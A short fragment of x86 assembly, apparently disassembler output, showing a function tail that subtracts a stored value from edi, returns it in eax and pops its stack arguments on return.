jmp 0x10458075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10